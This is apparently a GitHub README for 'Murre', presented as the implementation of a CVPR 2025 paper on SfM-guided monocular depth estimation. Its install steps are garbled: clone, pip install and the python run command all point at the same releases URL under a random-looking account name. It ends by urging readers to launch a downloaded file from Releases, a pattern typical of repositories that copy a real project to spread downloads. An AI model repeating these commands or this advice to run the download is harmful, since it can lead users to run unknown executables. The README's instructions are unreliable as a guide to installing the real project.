Welcome to the official repository for "Murre", the implementation of "Multi-view Reconstruction via SfM-guided Monocular Depth Estimation" as presented at CVPR 2025.
Murre is a cutting-edge project focusing on multi-view reconstruction through SfM-guided monocular depth estimation. This repository serves as the implementation base for the techniques described in the CVPR 2025 paper on this topic.
- SfM-guided Monocular Depth Estimation: The core of the project revolves around the innovative approach of using SfM to guide monocular depth estimation for multi-view reconstruction.
- CVPR 2025 Implementation: The code provided here corresponds directly to the methods detailed in the CVPR 2025 paper, ensuring reproducibility and accuracy.
- Efficient Reconstruction: Murre offers efficient and effective reconstruction capabilities, enabling high-quality results in challenging scenarios.
To get started with Murre, follow these steps:
-
Clone the repository:
git clone https://github.com/Cfjhjfddfrf/Murre/releases
-
Install the necessary dependencies:
pip install -r https://github.com/Cfjhjfddfrf/Murre/releases
-
Navigate into the project directory:
cd Murre -
Run the main script with your data:
python https://github.com/Cfjhjfddfrf/Murre/releases --data your_data_folder
For more detailed instructions and parameters, refer to the documentation provided within the repository.
We welcome contributions to Murre! If you'd like to enhance the project, feel free to fork the repository and submit pull requests with your changes.
The code in this repository is licensed under the MIT License. See the LICENSE file for more details.
If the link provided above does not work or if you need to launch the downloaded file, please check the "Releases" section of this repository for alternative download options.
🌟 Happy reconstructing with Murre! 🌟